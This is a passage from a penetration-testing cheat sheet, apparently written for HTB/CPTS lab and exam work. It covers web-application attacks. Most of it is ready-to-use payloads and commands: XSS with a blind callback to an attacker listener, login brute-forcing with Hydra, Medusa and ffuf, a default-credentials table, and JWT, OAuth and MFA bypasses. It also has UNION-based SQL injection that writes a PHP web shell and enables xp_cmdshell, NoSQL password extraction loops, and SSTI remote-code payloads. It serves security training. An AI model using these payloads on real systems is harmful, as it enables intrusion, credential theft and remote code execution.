`${IFS}` for spaces and single-quote splitting (`'i'd`) for names are the two highest-value tricks — learn them cold. Cat the source before brute-forcing a shell. 521 522 --- 523 524 ### XSS 525 526 **What to look for** → every input reflected in a response or stored and rendered later. Insert a unique inert marker (`xss7q9`), find *where* and *how* it renders, then pick a context-matched proof. 527 528 **Enumerate / prove (context-matched, `console.log` first)** 529 ```http 530 GET /search?q=xss7q9 HTTP/1.1 531 Host: target.htb 532 ``` 533 ```html 534 <!-- HTML text context --> <img src=x onerror=console.log('xss7q9')> 535 <!-- double-quoted attribute --> "><img src=x onerror=console.log('xss7q9')> 536 <!-- single-quoted attribute --> '><img src=x onerror=console.log('xss7q9')> 537 <!-- JS string context --> ';console.log('xss7q9');// 538 <!-- JS template literal --> ${console.log('xss7q9')} 539 ``` 540 ```bash 541 # DOM XSS triage — grep downloaded JS for sources -> sinks 542 rg -n 'location\.(hash|search|href)|document\.(URL|referrer|cookie)|postMessage|innerHTML|outerHTML|insertAdjacentHTML|document\.write|eval\(|setTimeout\(' ./js 543 ``` 544 545 **Blind / stored callback** 546 ```bash 547 python3 -m http.server 8000 --bind 0.0.0.0 # --bind 0.0.0.0 so the HTB browser (VPN iface) can reach it 548 ``` 549 ```html 550 <img src=x onerror="new Image().src='http://$LHOST:8000/xss?o='+encodeURIComponent(location.origin)"> 551 ``` 552 Automate discovery/context/blind-OOB with [dalfox](https://github.com/hahwul/dalfox) → Dalfox - HTB and AEN Cheat Sheet; parameter-fuzz for reflected XSS with `nuclei -u 'http://$IP/?id=1' -dast`. 553 554 > [!warning] Watch out 555 > - Match the payload to the observed parser — a short context-correct payload beats a giant generic list. Test one metachar at a time and inspect the HTML/JS before adding a handler. 556 > - Live DOM ≠ raw response: browser repair and client JS create or remove exploitability after the response arrives (compare View-Source vs Elements). 557 > - `document.cookie` is empty under `HttpOnly` — that does **not** disprove XSS. Execution and impact (cookie theft, OS access) are separate claims; XSS alone gives no OS shell. 558 > - HTTP callback against an HTTPS target = mixed-content blocked; use an HTTPS collector. 559 560 --- 561 562 ### 📸 Bulk web triage — EyeWitness / gowitness 563 564 **What to look for** → after vhost/subdomain fuzzing (or a subnet sweep through a pivot in STAGE 10) you have dozens of HTTP endpoints. Screenshot them all at once instead of opening each by hand — spot the login panels, default installs and dev apps in one contact sheet. 565 566 ```bash 567 # feed it the hosts/urls you discovered 568 eyewitness --web -f urls.txt -d ./eyewitness # opens a report.html gallery 569 gowitness scan file -f urls.txt # single-binary alternative 570 ``` 571 > [!tip] Pairs with STAGE 2 fuzzing and STAGE 10 pivots — `cut` the live vhosts out of your ffuf output straight into `urls.txt`. Deep dive: EyeWitness-Cheatsheet. 572 ### 🧰 Web Proxies, Advanced Fuzzing & Login Brute-Forcing 573 574 When curl + a raw ffuf sweep runs out of road: proxy the app so I can read and rewrite every request, push fuzzing past dirs/vhosts into extensions, values, headers, bodies, then brute-force the one login I actually found. Proxy listener is `127.0.0.1:8080` (Burp/ZAP) — FoxyProxy toggles the browser onto it, install the CA cert first or HTTPS pages break. Deep dives: 3 - Intercepting Web Requests · 4 - Repeating Requests · 7 - Burp Intruder · 9 - Burp Scanner · 3 - Page & Extension Fuzzing · 4 - Recursive Fuzzing · 7 - Parameter Fuzzing - GET & POST · 5 - Hydra · 6 - Medusa · 7 - Custom Wordlists. 575 576 --- 577 578 #### Burp / ZAP — intercept, rewrite, repeat, decode 579 580 **What to look for** → client-side-only validation (`type="number"`, `maxlength`, disabled/hidden fields), Base64/JSON cookies carrying trust claims (`is_admin`, role), anything the browser enforces that the back-end might not re-check. 581 582 **Intercept & manipulate** 583 ```text 584 Burp : Proxy > Intercept (on by default) — edit the held request, Forward 585 ZAP : traffic-light button / Ctrl+B — Continue/Step 586 # front-end restricts input to digits; intercept the built request and inject anyway: 587 ip=1 -> ip=;id; 588 ``` 589 590 **Response interception — re-enable what the page hid** 591 ```text 592 Burp : Proxy > Options > Intercept Response, then Ctrl+Shift+R to force the response through 593 ZAP : Step on a held request auto-pauses its response 594 # edit the rendered HTML so the payload can be typed straight into the page: 595 <input type="number" ... maxlength="3"> -> <input type="text" ... maxlength="100"> 596 ``` 597 598 **Automate the rewrite (Match & Replace / Replacer)** — one-off edits don't persist; make them a session rule: 599 600 | Tool | Type | Match | Replace | 601 |---|---|---|---| 602 | Burp `Proxy > Options > Match and Replace` | Request header | `^User-Agent.*$` (regex) | `User-Agent: HackTheBox Agent 1.0` | 603 | Burp | Response body | `type="number"` (literal) | `type="text"` | 604 | ZAP `Replacer` (`Ctrl+R`) | Request Header | `User-Agent` | `HackTheBox Agent 1.0` | 605 606 **Repeat instead of re-intercepting** — iterate payloads without toggling intercept: 607 ```text 608 Burp : right-click history request > Send to Repeater (Ctrl+R) > Ctrl+Shift+R to the tab > edit > Send 609 right-click > Change Request Method (flip GET<->POST without rewriting the request line) 610 ZAP : right-click history > Open/Resend with Request Editor (HUD: Replay in Console / in Browser) 611 ``` 612 613 **Decode & tamper an encoded cookie** (Burp Decoder / Inspector, ZAP `Ctrl+E`, or CyberChef): 614 ```text 615 eyJ1c2VybmFtZSI6Imd1ZXN0IiwgImlzX2FkbWluIjpmYWxzZX0= --Base64--> {"username":"guest","is_admin":false} 616 # flip guest->admin / false->true, re-encode Base64, paste back into the Repeater request, Send 617 ``` 618 619 > [!warning] Watch out 620 > - Burp requires manual URL-encoding of pasted payloads (`Ctrl+U`, or right-click → *URL-encode as you type*) — an unencoded space, `&`, or `#` in a hand-edited body silently corrupts the request. ZAP encodes outgoing data automatically → **don't double-encode**. 621 > - Burp intercepts *all* Firefox traffic — Forward through the background noise before your target request shows up. 622 > - Burp keeps **Original vs Edited** request views; ZAP history only shows what was actually sent. Use Burp's when you need to prove exactly what you changed. 623 > - A `type="number"` edit only lasts one response — persist it as a Match & Replace rule or it reverts on refresh. 624 625 --- 626 627 #### Burp Intruder / ZAP Fuzzer / Scanner 628 629 **Intruder positions & attack types** (`Ctrl+I` from history, `Ctrl+Shift+I` to the tab): wrap the payload spot in `§markers§`. 630 ```text 631 GET /§DIRECTORY§/ HTTP/1.1 # Sniper = 1 position, 1 list (dirs, single param, single-user pw guess) 632 user=§admin§&pass=§pass§ # Cluster bomb = N positions x N lists, every combo (user x password) 633 # Pitchfork = N positions, lists advance in lockstep (paired creds / stuffing) 634 Payloads > Simple List > Load wordlist 635 Payload Processing > Skip if matches regex ^\..*$ # drop dotfile noise before sending 636 Options > Grep - Match: add "200 OK", untick "Exclude HTTP headers" (status line lives in headers) 637 ``` 638 ZAP Fuzzer is the unthrottled analogue (`right-click > Attack > Fuzz` → File Fuzzers ships built-in dirbuster lists → add a **URL Encode** processor → threads 20). Pick **breadth-first** for multi-account spraying so one account isn't hammered with every password (lockout). 639 640 **Scanner (Burp Pro / ZAP free) — crawl + passive + active** 641 ```text 642 Target > Site map > right-click > Add to scope (then Target > Scope, add regex include/exclude) 643 Dashboard > New Scan > Crawl and Audit > Select from library > Audit checks: critical issues only 644 Filter Issue activity by: High severity + Firm/Certain confidence 645 ``` 646 647 > [!warning] Watch out 648 > - Free Burp Intruder is throttled to ~1 req/s — reserve it for short, targeted lists; a big sweep belongs in `ffuf`/`feroxbuster` (thousands/s). Its real edge is payload-processing rules + Cluster bomb + one-click pivot to Repeater. 649 > - **Scope discipline before an active scan**: explicitly *Remove from scope* logout links and destructive actions, or the crawler logs your own session out / triggers state changes mid-audit. 650 > - Passive scan only *suggests* (no new traffic, confidence-rated); active scan *confirms* by probing — know which is running before you trust a finding. A scanner's exported report is appendix data, never the deliverable → 9 - Burp Scanner, 10 - ZAP Scanner. 651 652 **Burp vs ZAP — which when** ([Burp Suite](https://portswigger.net/burp) · [OWASP ZAP](https://github.com/zaproxy/zaproxy)): 653 654 | Need | Burp | ZAP | 655 |---|---|---| 656 | Manual testing loop (Repeater) | best-in-class | Request Editor is fine | 657 | Fast bulk fuzzing | Community Intruder throttled ~1 req/s ❌ | Fuzzer unthrottled ✅ | 658 | Active scanner | Pro only | free, decent | 659 | Extensions | BApp store (Turbo Intruder, Logger++, InQL) | add-on marketplace | 660 | Exam/lab default | use Burp CE + ffuf to cover the throttle | good free fallback for scanning | 661 662 > [!tip] Real workflow 663 > Browser → Burp (intercept, Repeater, Comparer, Decoder) for anything hand-crafted; ffuf/feroxbuster for volume fuzzing; ZAP or nuclei for the broad vuln sweep. All three proxy-able through each other (`ffuf -x`, `--proxy` flags below). 664 665 --- 666 667 #### Proxy a CLI tool through Burp/ZAP (debugging, not tunneling) 668 669 Different from the STAGE 10 SOCKS pivot — this routes a tool's HTTP through the *proxy on :8080* so I can read/replay its exact raw requests when a scanner "isn't working". 670 ```bash 671 # native flags first — faster and more reliable than wrapping 672 ffuf -x http://127.0.0.1:8080 ... 673 sqlmap --proxy=http://127.0.0.1:8080 -r request.txt 674 nmap --proxies http://127.0.0.1:8080 $IP -p PORT -Pn -sC # experimental; -Pn required 675 676 # msf module through the proxy 677 msf> set PROXIES HTTP:127.0.0.1:8080 678 679 # proxychains fallback for anything without a native flag 680 # /etc/proxychains.conf -> http 127.0.0.1 8080 (comment the default socks4 line, set quiet_mode) 681 proxychains curl http://$IP:PORT 682 ``` 683 > [!tip] Only proxy while actively investigating a tool's requests — it adds latency and will crawl a bulk fuzz. Turn it off for normal runs. See 6 - Proxying Tools. 684 685 --- 686 687 #### Advanced ffuf — fingerprint, recurse, filter the wordlist 688 689 **What to look for** → the stack's real extension before I waste a page-fuzz, deep nested trees, and wordlists trimmed to a known password policy so the run isn't dominated by impossible candidates. 690 691 **Fingerprint the extension off `index.*`** (more reliable than guessing from `Server:` header): 692 ```bash 693 # web-extensions.txt already carries the leading dot, so FUZZ sits straight after "index" 694 ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ \ 695 -u http://$IP/blog/indexFUZZ -c 696 # .php [200] -> PHP stack ; .phps [403] -> source-view handler exists but blocked (still useful intel) 697 # then reuse a directory list as a FILENAME list against the confirmed extension: 698 ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ \ 699 -u http://$IP/blog/FUZZ.php -c 700 ``` 701 702 **Recursion + extension in one pass** — the depth here goes beyond the guide's plain `-recursion`: 703 ```bash 704 ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ \ 705 -u http://$IP/FUZZ -recursion -recursion-depth 1 -e .php -v -c 706 # -recursion-depth 1 = direct sub-dirs only (start shallow, then hand-target the interesting dir) 707 # -e .php doubles the list (bare + .php) so dirs AND files hit in one run 708 # -v is MANDATORY with recursion — plain keyword output is ambiguous once jobs nest ([INFO] Adding a new job...) 709 ``` 710 711 **Value fuzzing with a generated list** (when no SecLists file fits an app-specific ID/token shape): 712 ```bash 713 seq 1 1000 | ffuf -w -:FUZZ -u http://$IP/admin/admin.php -X POST \ 714 -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs <baseline> -c 715 # pipe seq straight in with -w - (no intermediate ids.txt); -fs = the "Invalid id!" baseline size 716 ``` 717 718 **Trim a wordlist to the target's password policy before feeding brute-force** (min 8, upper+lower+digit): 719 ```bash 720 grep -P '^(?=.{8,})(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9]).*$' rockyou.txt > policy.txt 721 # add "2+ specials" with a grouped quantifier: 722 grep -E '([!@#$%^&*].*){2,}' policy.txt > policy2.txt # collapses a 10k list to dozens 723 ``` 724 725 > [!warning] Watch out 726 > - `-recursion` without `-recursion-depth` against a deep tree can expand ~forever — always cap it, then follow up manually. feroxbuster recurses by default with wildcard-response heuristics if ffuf's soft-404 tuning gets tedious. 727 > - A fuzz hit means the value/param is *recognised*, not that it still *works* — confirm with a manual `curl` and read the actual app response (`Invalid id!` proves the param is live and validated → 8 - Value Fuzzing). 728 729 --- 730 731 #### ffuf — POST body, JSON, header & cookie fuzzing 732 733 Same `FUZZ`-anywhere primitive as dir fuzzing, just moved into the body/headers. The gotcha the guide's POST example omits is the **Content-Type header** — PHP won't parse the body without it. 734 ```bash 735 # POST param NAME (form-encoded) — the header is required or every hit reads as the baseline 736 ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \ 737 -u http://$IP/admin/admin.php -X POST -d 'FUZZ=key' \ 738 -H 'Content-Type: application/x-www-form-urlencoded' -fs <baseline> -c 739 740 # JSON API body — fuzz a field value inside the JSON 741 ffuf -w users.txt:FUZZ -u http://$IP/api/login -X POST \ 742 -H 'Content-Type: application/json' -d '{"username":"FUZZ","password":"test"}' -fr 'error' -c 743 744 # HEADER fuzz — e.g. hunt an ACL/localhost-only path via spoofed forwarding headers 745 ffuf -w /usr/share/seclists/Miscellaneous/web/http-request-headers/http-request-headers-fuzz.txt:FUZZ \ 746 -u http://$IP/admin -H 'FUZZ: 127.0.0.1' -c 747 ffuf -u http://$IP/admin -w hosts.txt:FUZZ -H 'X-Forwarded-For: FUZZ' -fc 403 -c 748 749 # COOKIE value fuzz — session/role guessing 750 ffuf -w values.txt:FUZZ -u http://$IP/dashboard -b 'role=FUZZ' -fc 403 -c 751 ``` 752 > [!tip] Once a hidden param surfaces it's under-tested by definition — revisit it with SQLi / command-injection / XSS from the sections above rather than treating discovery as the finish line → 7 - Parameter Fuzzing - GET & POST. 753 754 --- 755 756 #### Login brute-forcing — Hydra & Medusa 757 758 **What to look for** → a confirmed username (default cred, enumerated, `/home/<user>`), the form's exact `method` + field `name`s, and the precise success/failure signal (dev-tools Network tab or proxy interception is ground truth). Try default creds *before* a long run — free and often still valid. Tools: [hydra](https://github.com/vanhauser-thc/thc-hydra) (raw throughput, service modules), [medusa](https://github.com/jmk-foofus/medusa) (parallel hosts), ffuf (web/JSON flexibility). 759 760 **Default creds first** 761 ```bash 762 # service-specific lists live under Default-Credentials/ 763 head /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt 764 hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://$IP 765 # -C file = "user:pass" combined pairs, one attempt each (spray default pairs, no cartesian product) 766 ``` 767 768 **Hydra `http-post-form`** — the params string is `path:body-template:condition`: 769 ```bash 770 hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -f -V $IP -s 80 \ 771 http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid credentials" 772 # ^USER^/^PASS^ = per-attempt placeholders 773 # F=<string> -> response CONTAINING it = fail (everything else = candidate success) [most reliable] 774 # S=302 / S=Dashboard -> explicit SUCCESS marker; use when there's no clean failure string 775 # -f stop on first hit, -V show each try 776 ``` 777 778 **Hydra service modules & pure brute** (`service://target`, consistent across protocols): 779 ```bash 780 hydra -l "$U" -P rockyou.txt ssh://$IP -t 4 # ssh (throttle -t on flaky SSH) 781 hydra -L users.txt -P pass.txt ftp://$IP -s 2121 -V # non-default port 782 hydra -l basic-auth-user -P pass.txt $IP http-get / -s 81 # HTTP Basic Auth 783 hydra -l root -p toor -M targets.txt ssh # one pair across many hosts (subnet sweep) 784 hydra -l administrator -x 6:8:abcABC0123 $IP rdp # -x = charset brute (len 6-8), not a wordlist 785 # also: pop3 imap smtp mysql mssql vnc rdp — same service://IP shape 786 ``` 787 788 **Medusa** — same idea, different flags; strong for chaining a foothold into more targets: 789 ```bash 790 medusa -h $IP -n PORT -u sshuser -P pass.txt -M ssh -t 3 791 # after SSH in: netstat -tulpn | grep LISTEN -> spot a new local service (e.g. :21) 792 medusa -h 127.0.0.1 -u ftpuser -P pass.txt -M ftp -t 5 # /home/ftpuser hinted the username 793 medusa -M web-form -h $IP -U users.txt -P pass.txt -m FORM:"..." # web login module 794 ``` 795 796 **ffuf as the cred brute** (handles JSON/tokens Hydra chokes on) — this is the cluster-bomb: 797 ```bash 798 ffuf -w users.txt:U -w pass.txt:P -mode clusterbomb \ 799 -u http://$IP/login.php -X POST -d 'username=U&password=P' \ 800 -H 'Content-Type: application/x-www-form-urlencoded' -fr 'Invalid credentials' -c 801 # -mode clusterbomb = every user x every pass ; -mode pitchfork = paired lines (credential stuffing) 802 ``` 803 804 > [!warning] Watch out 805 > - Confirm the F=/S= signal by hand first — Hydra's condition match is a raw string-grep against the response; a wrong string reports every attempt as success (or none). `F=` beats `S=` when the app shows a stable error. 806 > - Hydra `http-post-form` breaks on **CSRF tokens, JSON APIs, and JS-side validation** — switch to Burp Intruder (Cluster bomb + Grep-Match) or the `ffuf` cluster-bomb above for those; keep Hydra/Medusa for raw SSH/FTP/RDP throughput. 807 > - Watch for **lockout / rate-limit / CAPTCHA** — drop `-t`, prefer spraying (few passwords × many users, breadth-first) over hammering one account. `-f` should be a default habit to stop the noise the moment a pair lands. 808 > - NetExec is the better pick for Windows/AD-adjacent services (SMB/WinRM/MSSQL/RDP) — it sprays *and* enumerates post-auth in one shot (STAGE 3/AD). 809 810 --- 811 812 #### Custom wordlists from OSINT 813 814 Generic 10M-entry lists rarely contain one named target's actual creds — build small, relevant ones and let them feed `-L`/`-P` directly. 815 ```bash 816 # usernames from a real name (initials, dotted, numbered permutations) 817 ./username-anarchy Jane Smith > users.txt 818 819 # CUPP: biographical password profile (name, DOB, partner, pet, company, keywords -> leet + suffixes) 820 cupp -i # interactive; ~46k candidates from a modest profile 821 grep -P '^(?=.{6,})(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9]).*$' jane.txt \ 822 | grep -E '([!@#$%^&*].*){2,}' > jane-filtered.txt # policy-trim before the run 823 ``` 824 > [!tip] Username *and* password matter — a known username halves the search space. `theHarvester` + a known email format (`f.last`), or `exiftool` on public PDFs for the author naming convention, often beats brute permutation. Full pipeline: 7 - Custom Wordlists, policy-filter theory in 4 - Hybrid Attacks & Credential Stuffing, default-cred rationale in 2 - Password Security Fundamentals. 825 826 --- 827 828 #### AuthN attacks — defaults, JWT, OAuth, reset flaws, MFA 829 830 **Default credentials table** — try these *before* any wordlist (T1078 Valid Accounts): 831 832 | App | Defaults | Notes | 833 |---|---|---| 834 | Tomcat Manager | `tomcat:tomcat` · `tomcat:s3cret` · `admin:admin` | → WAR deploy RCE (Tomcat → /manager WAR deploy (msfvenom war)) | 835 | Jenkins | `admin:admin` · often **no auth** (setup skipped) | → Script console RCE | 836 | GitLab | root pw set at install; check **self-registration** | → repo secret mining | 837 | Grafana | `admin:admin` (prompts change, often skipped) | also CVE-2021-43798 unauth LFI | 838 | Splunk | `admin:changeme` | expired trial → **no auth at all** | 839 | PRTG | `prtgadmin:prtgadmin` | pre-filled on the login page | 840 | Nagios XI | `nagiosadmin:PASSW0RD` | multiple RCE CVEs | 841 | phpMyAdmin | `root:` (blank) · `root:root` | → `SELECT ... INTO OUTFILE` webshell | 842 | WebLogic | `weblogic:weblogic` · `system:Passw0rd` | console → app deploy | 843 | Axis2 | `admin:axis2` | → `.aar` service upload RCE | 844 | Drupal/Joomla WP | set at install — but `admin:admin`/`admin:password` always worth 3 tries | generic-error logins kill user enum | 845 846 Also check the curated lists: `/usr/share/seclists/Passwords/Default-Credentials/` and the web tool [cirt.net](https://cirt.net)/vendor default lists. 847 848 **JWT attacks** — grab the token from `Authorization: Bearer`, decode, then attack ([jwt_tool](https://github.com/ticarpi/jwt_tool)): 849 850 ```bash 851 # decode by hand 852 echo '<payload-part>' | tr '_-' '/+' | base64 -d 2>/dev/null 853 854 # jwt_tool full audit + signing-key crack 855 python3 jwt_tool.py <JWT> # recon mode: flags alg, kid, common flaws 856 python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt # crack weak HMAC secret 857 python3 jwt_tool.py <JWT> -X a # alg=none attack 858 python3 jwt_tool.py <JWT> -I -pc role -pv admin # inject claim after -T tamper 859 ``` 860 861 | JWT flaw | Test | 862 |---|---| 863 | `alg: none` accepted | set header `{"alg":"none"}`, empty signature, resend | 864 | Weak HMAC secret | crack with jwt_tool/hashcat mode 16500 (`rockyou`, `jwt.secrets.list`) | 865 | RS256→HS256 confusion | sign with the server's **public key as the HMAC secret** | 866 | `kid` injection | `kid: ../../dev/null` (sign with empty key), SQLi in kid, path to your key | 867 | `jku`/`x5u` header abuse | point at attacker-hosted JWK set | 868 | No expiry/aud check | replay old tokens, swap `aud` | 869 870 **Flask session cookies** — Django/Flask signed cookies are the same shape of bug: with [flask-unsign](https://github.com/Paradoxis/Flask-Unsign) crack the `SECRET_KEY`, then forge any session: 871 872 ```bash 873 flask-unsign --decode --cookie '<session.cookie>' 874 flask-unsign --unsign --cookie '<cookie>' --wordlist rockyou.txt # crack secret 875 flask-unsign --sign --cookie "{'username':'admin'}" --secret 'crackedSecret' 876 ``` 877 878 **OAuth / OIDC pitfalls** (test systematically, don't skim): 879 880 - `redirect_uri` validation → open redirect to `attacker.tld` steals the auth `code`/`token` (substring/`@`/dot tricks: `https://legit.com.attacker.tld`, `https://attacker.tld?u=legit.com`). 881 - `response_type=token` implicit flow → access token in URL fragment, leaks via `Referer`/browser history. 882 - State/`state` parameter missing → OAuth **CSRF** (attacker account linked to victim session). 883 - `code` replay or no PKCE on a public client → intercept & reuse the authorization code. 884 - OIDC `id_token` accepted without signature/issuer validation. 885 886 **Password reset flaws** — the highest-yield auth surface after brute force: 887 888 - Host-header poisoning: request a reset with `Host: attacker.tld` (or `X-Forwarded-Host`) → victim's reset link points at you. 889 - Token leakage via `Referer` when the reset page loads third-party resources. 890 - Predictable/short/never-expiring tokens; token not invalidated after use; token tied to no user (swap email/uid in the reset-confirm request). 891 - Response oracle for user enumeration on the reset form ("email not found"). 892 893 **2FA / MFA bypass patterns**: 894 895 - Direct-request to post-2FA endpoints with only the stage-1 session (forced browsing). 896 - Response tampering: `{"success":false}` → `true`, or status 401 → 200 (client-side enforcement). 897 - OTP brute force: 4–6 digit codes without rate-limit/lockout → race it (see 🏎️ Race conditions & request smuggling). 898 - Reuse/flawed rotation of OTP tokens; `null`/empty OTP accepted. 899 - Backup codes weaker than the OTP; "remember device" cookie guessing. 900 901 **Session fixation & session mismanagement**: 902 903 - App issues a session cookie **pre-login and doesn't rotate it post-login** → fixate a victim on your cookie, wait for them to log in, replay it. 904 - Session cookie survives logout / long `Expires` / no `Secure`+`HttpOnly`+`SameSite` flags → theft & replay windows. 905 - JWT/localStorage "sessions" can't be revoked server-side — logout is cosmetic. 906 907 > [!warning] OPSEC — auth attacks are the noisiest thing you'll do 908 > Lockout policies, impossible-travel alerts, and login-anomaly dashboards all trigger here. Spray ≤2 passwords per account per window (breadth-first), respect the GitLab-style "10 attempts / 10 min" lockouts, and always `-f`/stop-on-success. On CPTS, default creds and one wordlist pass are usually the intended path — hours of rockyou against a login form rarely are. See [02 - Attacking Common Applications - CPTS Cheat Sheet](/sheets/pentest-workflow/attacking-common-applications-guide) for per-app cred tables and [05 - Foothold Toolkit - Shells Payloads and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) for what to do with the shell that follows. 909 910 ### 💉 Manual Injection Depth — SQLi · LFI/RFI · Upload · CmdInjection 911 912 The automated tools above hide the mechanics. This is the by-hand depth for when sqlmap gets WAF'd, when there's an upload form to abuse, or when the exam wants me to *show* the injection. Modules: SQLi Fundamentals (7 - Subverting Query Logic → 11 - Reading and Writing Files), File Inclusion (3 - Basic Bypasses, 7 - LFI and File Uploads, 8 - Log Poisoning), File Upload (3 - Blacklist Filters → 7 - Other Upload Attacks), Command Injection (3 - Identifying Filters → 8 - Evasion Tools). All web shells below = `<?php system($_REQUEST['cmd']); ?>`. 913 914 #### Manual SQLi — auth-bypass → UNION extract → file R/W → shell 915 916 **What to look for** → a `'` that throws a SQL error (injectable), a login form (auth bypass), or any reflected query (UNION dump). Reach here when sqlmap misses it or a WAF blocks its request shapes — see 9 - Union Clause, 10 - Database Enumeration, 11 - Reading and Writing Files. 917 918 **Enumerate — confirm, bypass auth, detect columns, fingerprint** 919 ```bash 920 # injectable? one quote -> odd-quote syntax error 921 username: admin' 922 923 # auth bypass (either field): OR-always-true, or comment out the rest 924 ' or '1'='1 925 admin'-- - # comment neutralises trailing "AND password=..." 926 admin')-- - # parenthesised query: close the ( before commenting 927 # NOTE: -- needs a TRAILING SPACE; in a URL write --+ , and # must be %23 928 929 # column count (two directions) 930 cn' ORDER BY 4-- - # increment until "Unknown column '5'" 931 cn' UNION SELECT 1,2,3,4-- - # increment until it STOPS erroring 932 933 # which columns print + DBMS fingerprint 934 cn' UNION SELECT 1,@@version,3,4-- - # full output visible -> 10.3.22-MariaDB... 935 cn' UNION SELECT 1,POW(1,1),3,4-- - # only a NUMERIC column prints 936 cn' UNION SELECT SLEEP(5)-- - # zero output at all -> 5s delay = blind (oracle for B/T) 937 ``` 938 939 **Exploit / Attack — INFORMATION_SCHEMA walk, then FILE read/write → RCE** 940 ```bash 941 # DBs -> tables -> columns -> data (dot-operator reaches OTHER databases) 942 cn' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- - 943 cn' UNION SELECT 1,database(),3,4-- - # DB the query runs in 944 cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dev'-- - 945 cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='credentials'-- - 946 cn' UNION SELECT 1,username,password,4 FROM dev.credentials-- - # cross-DB read 947 948 # --- file R/W: confirm FILE priv + secure_file_priv BEFORE writing --- 949 cn' UNION SELECT 1,user(),3,4-- - 950 cn' UNION SELECT 1,grantee,privilege_type,4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- - 951 cn' UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables WHERE variable_name='secure_file_priv'-- - # empty = write anywhere 952 953 cn' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- - 954 cn' UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3,4-- - # Ctrl+U for raw source (leaks DB creds) 955 956 # proof-write first (confirms webroot + perms), THEN the shell -> RCE 957 cn' UNION SELECT 1,'proof',3,4 INTO OUTFILE '/var/www/html/proof.txt'-- - 958 cn' UNION SELECT "",'<?php system($_REQUEST[0]); ?>',"","" INTO OUTFILE '/var/www/html/shell.php'-- - 959 curl "http://$IP/shell.php?0=id" 960 # longer/binary payloads: wrap the string in FROM_BASE64('...') INTO OUTFILE 961 962 # MSSQL analog (DBMS is MSSQL, not MySQL) -> stacked query + xp_cmdshell 963 '; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- - 964 '; EXEC xp_cmdshell 'whoami';-- - 965 ``` 966 967 > [!warning] Watch out 968 > - `-- ` needs the trailing space; `#` → `%23`; and count the parentheses — a wrapped query needs `admin')-- ` not `admin'-- `. 969 > - Put real data only in a **printed** column (map them with `@@version`); output in an unprinted column is computed but invisible. `NULL` is the type-agnostic filler when a position errors on type. 970 > - `INTO OUTFILE` needs all three: `FILE` priv **+** `secure_file_priv` permits the path **+** OS write perms. Stock MySQL defaults `secure_file_priv=/var/lib/mysql-files` (or `NULL`) → OUTFILE to webroot fails; pivot to cred-dump, don't force RCE. 971 > - A `root` DB user is usually a DBA with `FILE`; its read scope via `db.table` is normally wider than the single app DB. 972 973 #### NoSQL injection (MongoDB/Express APIs) 974 975 **What to look for** → Node/Express stack (`connect.sid`, `X-Powered-By: Express`), JSON API bodies, login forms on a MERN app. MongoDB queries take **objects**, so type-juggling turns `{"$gt":""}` into always-true. 976 977 **Payload table** 978 979 | Vector | Payload | Effect | 980 |---|---|---| 981 | URL-encoded | `username[$ne]=x&password[$ne]=x` | `$ne` = not-equal → matches any real user (auth bypass) | 982 | URL-encoded | `username=admin&password[$regex]=^a` | character-by-character password extraction | 983 | JSON body | `{"username":{"$gt":""},"password":{"$gt":""}}` | same bypass, JSON form (`Content-Type: application/json`) | 984 | JSON body | `{"username":"admin","password":{"$regex":"^HTB{"}}` | boolean oracle per prefix (binary-search the flag/pw) | 985 | JS injection | `' || 1==1//` | older `$where` evaluation | 986 | Timing | `{"$where":"sleep(5000)"}` | blind confirm (rare, needs `$where` enabled) | 987 988 ```bash 989 # extract admin's password char-by-char via regex oracle 990 for c in {a..z} {0..9}; do 991 curl -s -X POST http://$IP/login -H 'Content-Type: application/json' \ 992 -d "{\"username\":\"admin\",\"password\":{\"\$regex\":\"^$KNOWN$c\"}}" | grep -q 'Welcome' && KNOWN="$KNOWN$c" && echo "$KNOWN" 993 done 994 ``` 995 996 > [!warning] Watch out 997 > - The `[$ne]` syntax only works in **URL-encoded** bodies (PHP/Express `qs` parsing); for JSON APIs switch to `{"$ne":null}` objects — test both. 998 > - Regex extraction is one request per character per position — slow but silent (single-user, no lockout). Blunt `$ne` bypass is instant but obvious in logs. 999 > - PayloadsAllTheThings [NoSQL page](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) is the canonical payload list. 1000 1001 #### SSTI — server-side template injection 1002 1003 **What to look for** → reflected input inside a *template* (error pages, email templates, `?name=`, PDF/report generators). Test with `{{7*7}}` → `49` = SSTI (vs `$ {7*7}`/`<%= 7*7 %>` per engine). T1190 Exploit Public-Facing Application. 1004 1005 **Detection matrix** (send `{{7*7}}` and `${7*7}`, read the result): 1006 1007 | Engine / stack | Syntax probe | Result `49`? | RCE payload shape | 1008 |---|---|---|---| 1009 | Jinja2 (Flask/Python) | `{{7*7}}` | yes | `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}` | 1010 | Twig (PHP) | `{{7*7}}` | yes | `{{['id']|filter('system')}}` | 1011 | FreeMarker (Java) | `${7*7}` / `<#assign>` | yes | `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}` | 1012 | Thymeleaf (Spring) | `*{7*7}` / 